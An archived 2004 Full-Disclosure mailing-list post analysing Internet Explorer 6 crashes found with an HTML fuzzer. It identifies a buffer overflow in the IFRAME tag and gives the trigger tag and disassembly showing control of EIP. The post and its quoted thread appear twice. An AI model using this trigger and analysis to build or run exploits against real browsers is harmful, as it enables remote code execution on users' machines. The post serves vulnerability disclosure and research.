Berend-Jan Wever
26/10/04, 01:05
Hi all, here's my analysis of these bugs:
2445.html does nothing on my win2ksp4en/ie6.0sp1. (IE does crash when =
you load it because the META refresh tag leads to 2446.html.)
2446.html contains an exploitable BoF in the IFRAME tag using the SRC =
and NAME property. To trigger the BoF you only need this tag in a HTML =
file:
<IFRAME SRC=3DAAAAAAAAAAAA.... NAME=3D"BBBBBBBBBBB....">
Exactly why or how it happens, I do not know yet. I do know you can =
control EAX, after which this gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR =
[EAX]
7178EC04 68 847B7071 PUSH SHDOCVW.71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR =
[ECX]
Control over EAX leads to control over ECX, which you can use to control =
EIP: Remote Command Execution.
They'd better patch this one quickly, a reliable working exploit =
shouldn't take more then a day to code.
Cheers,
SkyLined
----- Original Message -----=20
From: "ned" <nd@felinemenace.org>
To: <bugtraq@securityfocus.com>
Cc: <full-disclosure@lists.netsys.com>; <lcamtuf@ghettot.org>
Sent: Sunday, October 24, 2004 06:36
Subject: [Full-Disclosure] python does mangleme (with IE bugs!)
> i've made a port of mangleme:
> http://felinemenace.org/~nd/htmler.py
> with a few extra quirks (such as file extentions/url types)
>=20
> it finds IE bugs after roughly 2.5 -> 3 hours and they are at:
> http://felinemenace.org/~nd/crash_ie/
>=20
> They are not the null pointer dereference that Michal found (which=20
> curiously seems to not own my 6.0.2800.1106.xpsp1?) but some other=20
> probably non-exploitable problems!
>=20
> htmler.py doesn't use CGI like mangleme but generates webpages in the=20
> directory 'html1' numbered 0.html to n.html. 0.html then uses a =
refresh to=20
> load 1.html and so on with little user interaction required!
>=20
> anyway, if you find bugs with it, don't sell to anyone/notify vendors!
> - nd
>=20
> --=20
> http://felinemenace.org/~nd - "eat a duck"
>=20
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
2445.html does nothing on my win2ksp4en/ie6.0sp1. (IE does crash when =
you load it because the META refresh tag leads to 2446.html.)
2446.html contains an exploitable BoF in the IFRAME tag using the SRC =
and NAME property. To trigger the BoF you only need this tag in a HTML =
file:
<IFRAME SRC=3DAAAAAAAAAAAA.... NAME=3D"BBBBBBBBBBB....">
Exactly why or how it happens, I do not know yet. I do know you can =
control EAX, after which this gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR =
[EAX]
7178EC04 68 847B7071 PUSH SHDOCVW.71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR =
[ECX]
Control over EAX leads to control over ECX, which you can use to control =
EIP: Remote Command Execution.
They'd better patch this one quickly, a reliable working exploit =
shouldn't take more then a day to code.
Cheers,
SkyLined
----- Original Message -----=20
From: "ned" <nd@felinemenace.org>
To: <bugtraq@securityfocus.com>
Cc: <full-disclosure@lists.netsys.com>; <lcamtuf@ghettot.org>
Sent: Sunday, October 24, 2004 06:36
Subject: [Full-Disclosure] python does mangleme (with IE bugs!)
> i've made a port of mangleme:
> http://felinemenace.org/~nd/htmler.py
> with a few extra quirks (such as file extentions/url types)
>=20
> it finds IE bugs after roughly 2.5 -> 3 hours and they are at:
> http://felinemenace.org/~nd/crash_ie/
>=20
> They are not the null pointer dereference that Michal found (which=20
> curiously seems to not own my 6.0.2800.1106.xpsp1?) but some other=20
> probably non-exploitable problems!
>=20
> htmler.py doesn't use CGI like mangleme but generates webpages in the=20
> directory 'html1' numbered 0.html to n.html. 0.html then uses a =
refresh to=20
> load 1.html and so on with little user interaction required!
>=20
> anyway, if you find bugs with it, don't sell to anyone/notify vendors!
> - nd
>=20
> --=20
> http://felinemenace.org/~nd - "eat a duck"
>=20
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>